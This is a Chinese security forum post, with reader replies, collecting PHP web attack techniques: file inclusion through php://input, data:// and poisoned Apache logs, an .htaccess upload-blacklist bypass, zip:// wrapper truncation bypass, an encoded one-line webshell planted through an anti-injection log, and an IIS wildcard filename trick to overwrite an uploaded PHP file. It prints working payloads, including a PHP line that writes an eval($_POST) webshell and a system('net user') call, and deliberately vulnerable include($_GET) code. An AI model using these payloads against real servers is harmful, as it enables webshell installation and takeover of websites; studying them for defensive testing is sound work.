用户
搜索
  • TA的每日心情
    郁闷
    2018-3-22 15:43
  • 签到天数: 58 天

    连续签到: 1 天

    [LV.5]常住居民I

    i春秋作家

    Rank: 7Rank: 7Rank: 7

    19

    主题

    97

    帖子

    1975

    魔法币
    收听
    0
    粉丝
    57
    注册时间
    2015-11-20

    i春秋签约作者

    发表于 2016-10-22 13:50:38 1930670
    本帖最后由 Binghe 于 2016-10-24 09:46 编辑
    难易程度  ★★

    阅读点  盘点那些渗透测试中的奇淫技巧

    文章作者  binghe

    文章来源  i春秋论坛


    前言:
    总结下渗透测试中的一些小技巧,仅做总结。

    目录:

    0x01 php文件包含姿势
    0x02 .htaccess文件突破黑名单解析
    0x03 php流封装绕过截断
    0x04 通用防注入系统getshell
    0x05 iis+php黑名单上传突破


    正文


    0x01 php文件包含姿势
    其实这类姿势国外黑阔早有总结
             includinguploaded files -straight forward method; this requires existence of an upload functionality inthe tested website (e.g. photo upload, or document upload), access to uploadfunctionality and storage of uploaded files in a place accessible by the PHPscript 

    (如果网站存在文件上传功能,比如前台传头像之类,可以尝试包含上传的文件,当然文件可控。)
             ● include data://or php://input pseudo protocols - these protocols must be enabled andaccessible via include (allow_url_include set to on); also, php://filter pseudo protocol is usable in somecases 

    (利用php封装协议php://input和data://,包含post数据造成php命令执行,当然allow_url_include选项需要打开
             ● including logs - this required PHP script to be ableto access certain types of logs, e.g. httpd server error logs or access logs;also, size of these logs might make the attack harder (e.g. if error log has2GB)
    (因为包含的可以是任意文件,log文件也是可以,当我们提交恶意代码时也会被记录,于是包含记录了恶意代码的log文件是个好主意)
             
● including /proc/self/environ - this requires PHP to be run as CGIon a 
system that hasthe /proc pseudo-filesystem and PHP script is required to have access to theaforementioned pseudo-file
    (包含/proc/self/environ文件: 这需要PHP运行作为一个具有cgion
/proc伪文件的系统且PHP脚本有权访问这些伪文件)
             ●  include session files - this requires the attacker to beable to influence the value of any string in a session (to inject code, e.g.<?php phpinfo(); ? >), the sessions must be stored in a serializedsession file (as e.g. x| s:19:"<?php phpinfo(); ?>"; - this isthe default setting for PHP) and the PHP script must be able to access thesession file (usually names /tmp/ sess_SESSIONID)
    (包含会话文件-这需要攻击者能控制会话中的任何字符串值(注入代码,例如phpinfo()),会话文件必须存放在serializedsession文件且PHP脚本能够访问会话文件(通常是/tmp/ sess_SESSIONID文件
              ●  include other files created by PHPapplication - thisis very application and system specific,    but it basically describes any otherfile that is created the websites functionality and the way it works, e.g.database files, cache files, application-level logs, etc
    Additional toolsincluded both the poison nul byte (addressed in PHP 5.3.4[1] released2010-12-09) and excessive slash (/) suffix into path truncation bug[2] (patchedin 2009).
    (包含其他由php应用创建的文件,只要你能想到的,都可以尝试创建 然后包含他,比如数据库文件,缓存文件,应用程序级别的日志)

    我们来主要说下第二种和第三种姿势
    php://input属于php内置的封装协议,其实都主要是include()函数处理不当
    这里我们准备一个有文件包含的php文件
    [AppleScript] 纯文本查看 复制代码
    <?php
      include($_GET['url']);
     ?>
    然后我们通过POST提交php代码。
    黑阔可利用此写入一句话木马:

    [AppleScript] 纯文本查看 复制代码
    <?php fwrite(fopen("xxx.php","w"),'<?php eval($_POST["cc"]);?>');?>
    1.png

    同理,提交:
    [AppleScript] 纯文本查看 复制代码
    <?php system("net user")?>
    可成功通过system函数成功执行命令。

    第三种姿势也是比较巧妙:
    包含日志文件getshell(需要一定读权限)
             首先找到日志文件存放位置,利用文件包含漏洞去读取
apache 日志默认在
/etc/httpd/logs/access_log                  
         
也可以先找apache配置文件,通过任意文件读取漏洞配置文件找到日志路径
/etc/httpd/conf/httpd.conf
                            
    让日志文件插入php代码 

    方法一 
使用burpsuit抓包访问 ,绕过浏览器编码<>
    方法二 
curl 访问不存在的url
    如此,php代码就被写到log里面了
    包含一下日志:
    http://172.16.77.145/lfi/1/index.php?page=/etc/httpd/logs/access_log

    2.png

    0x02 .htaccess文件突破黑名单解析
    因为是黑名单,自定义.htaccess上传,下面是内容
    [AppleScript] 纯文本查看 复制代码
    
<FileMatch “test.jpg”>

    SetHandler application/x-httpd-php

    </FileMatch>


    同目录下,上传一个test.jpg文件,没有扩展名,内容是一句话,这个时候就成功绕过。
    3.png


    0x03 php流封装绕过截断

    思路源于王松童鞋 @王松_striker
    思路主要是利用了PHP的一个流封装的特性,可以参考PHP官方文档中的Example #3

    Example #3 Zip 流封装,读取一个OpenOffice 文件的元信息
    [AppleScript] 纯文本查看 复制代码
    <?php
    $reader = new XMLReader();
    
    $reader->open('zip://' . dirname(__FILE__) . '/test.odt#meta.xml');
    $odt_meta = array();
    while ($reader->read()) {
        if ($reader->nodeType == XMLREADER::ELEMENT) {
            $elm = $reader->name;
        } else {
            if ($reader->nodeType == XMLREADER::END_ELEMENT && $reader->name == 'office:meta') {
                break;
            }
            if (!trim($reader->value)) {
                continue;
            }
            $odt_meta[$elm] = $reader->value;
        }
    }
    print_r($odt_meta);
    ?>
    
    此例使用了旧的 API(PHP 4),它打开了一个 ZIP 文件归档,读取归档里的每个文件,并输出文件内容。此例用到的 test2.zip 文档是 ZZIPlib 源分布里测试文档中的一个。
    假设存在文件包含的代码为:
    [AppleScript] 纯文本查看 复制代码
    <?php
     
    $a = $_GET['file'];
     
    include $a.'.html.php';
    但是我们%00无法截断, 只能包含 xxxx.html.php
    首先我们新建一个hello.html.php,内容为phpinfo();

    然后压缩成zip,结构如下图:

    4.png

    然后访问如下网址,成功包含压缩文件内的hello.html.php
    http://localhost/test/blog.php?file=zip://test.zip%23hello

    如图:

    5.png

    把我们输入的变量和include后面的变量合起来就是
    zip://test.zip#hello.html.php

    代表当前目录下的test.zip压缩包里面的hello.html.php,于是包含成功。

    0x04 通用防注入系统getshell
    相信许多朋友渗透测试都遇到过这种情况

    33.png

    系统做了数据提交记录,我们通过阅读类似程序的源码得知数据记录在sqlin.asp

    22.png

    于是想到直接提交一句话木马。但是没有成功
    ┼攠數畣整爠煥敵瑳∨≡┩愾           密码 a  (加密方式是:ANSI->Unicode)
    提交 and 1= ┼攠數畣整爠煥敵瑳∨≡┩愾

    11.png

    菜刀连接sqlin.php即可

    0x05 iis+php黑名单上传突破

    环境: php+window+iis
    局限: 文件上传黑名单机制,略显鸡肋

    科普:
    php+window+iis环境下:
    双引号(“>”) <==> 点号(“.”)’;
    大于符号(“>”) <==> 问号(“?”)’;
    小于符号(“<“) <==> 星号(“*”)’;

    有这么好玩的东西,那不就可以做太多的事了?但事实并不是这样,通过一系列的测试发现,该特性只能用于文件上传时覆盖已知的文件,于是这特性便略显鸡肋.

    不过P牛已经给出完美利用的方法:
    思路如下:
    首先我们先利用特殊办法生成一个php文件,然后再利用这个特性将文件覆盖..
    可问题又来了,怎样生成php文件呢?如果可以直接生成php文件的话,干嘛还要利用那什么特性?
    别急,办法总是有的..
    我们都知道在文件上传时,我们往往会考虑到文件名截断,如%00 ..
    对!有的人可能还会用冒号(“:”)去截断,如:bypass.php:jpg
    但是你知道吗?冒号截断产生的文件是空白的,里面并不会有任何的内容,呵呵说到这里明白了没有? 虽然生成的php文件里面没有内容,但是php文件总生成了吧,所以我们可以结合上面所说的特性完美成功利用.

    按照上面提供的思路,实现..
    本地测试地址:http://**.**.**.**/upfile.php 环境:Windows+IIS7.5

    1)首先利用冒号生成我们将要覆盖的php文件,这里为:bypass.php,如图
    -
    111.png

    点击forward后,可以看见成功生成空白的bypass.php文件

    222.png

    2)利用上面的系统特性覆盖该文件
    从上面已经知道“<” 就等于 “*”,”*”代码任意字符,于是乎..
    我们可以这样修改上传的文件名,如下:
    [AppleScript] 纯文本查看 复制代码
    ------WebKitFormBoundaryaaRARrn2LBvpvcwK</pre>
    Content-Disposition: form-data; name="file"; filename="bypass.<<<"
     
    Content-Type: image/jpeg
     
    //注意!文件名为:bypass.<<<

    点击go..,即可成功覆盖bypass.php文件,如图

    333.png


    对比上面的两个图,bypass.php被我们成功的写入了内容..

    毒化内网两三事.png

    参考资料:乌云知识库 binghesec Phithon 王松


    评分

    参与人数 2魔法币 +5 价值分 +12 收起 理由
    chenwrn + 5 干货
    zusheng + 12 价值分奖励

    查看全部评分

    本帖被以下淘专辑推荐:

    Only the code will always follow me.
    发表于 2016-10-25 15:25:51
    文章奖励介绍及评分标准:http://bbs.ichunqiu.com/thread-7869-1-1.html,如有疑问请加QQ:286894635!

    基本项加分项
    作者帖子标题内容要求内容稀缺性文章篇幅文章深度文章可读性是否系列文章排版优化总分奖金点评
    Binghe盘点那些渗透测试中的奇淫技巧22322011270总结的不错

    Hacking the earth.My Blog:https://isbase.cc
    使用道具 举报 回复
    PHP就算了 有木有JAVA
    使用道具 举报 回复
    细细品味几遍
    使用道具 举报 回复
    好强大,学习
    使用道具 举报 回复
    支持一下~
    使用道具 举报 回复
    好贴,刘明
    使用道具 举报 回复
    可以的
    喵喵喵。
    使用道具 举报 回复
    好强大
    使用道具 举报 回复
    发表于 2016-10-27 19:35:54
    强无敌
    使用道具 举报 回复
    发表于 2016-10-23 07:23:53
    good可以我小白。
    使用道具 举报 回复
    使用道具 举报 回复
    使用道具 举报 回复
    神贴必回!
    使用道具 举报 回复
    使用道具 举报 回复
    写的好赞,继续加油!!!!
    使用道具 举报 回复
    发表于 2016-10-26 10:37:39
    很6666
    不服你TMD来打我啊!
    使用道具 举报 回复
    12下一页
    发新帖
    您需要登录后才可以回帖 登录 | 立即注册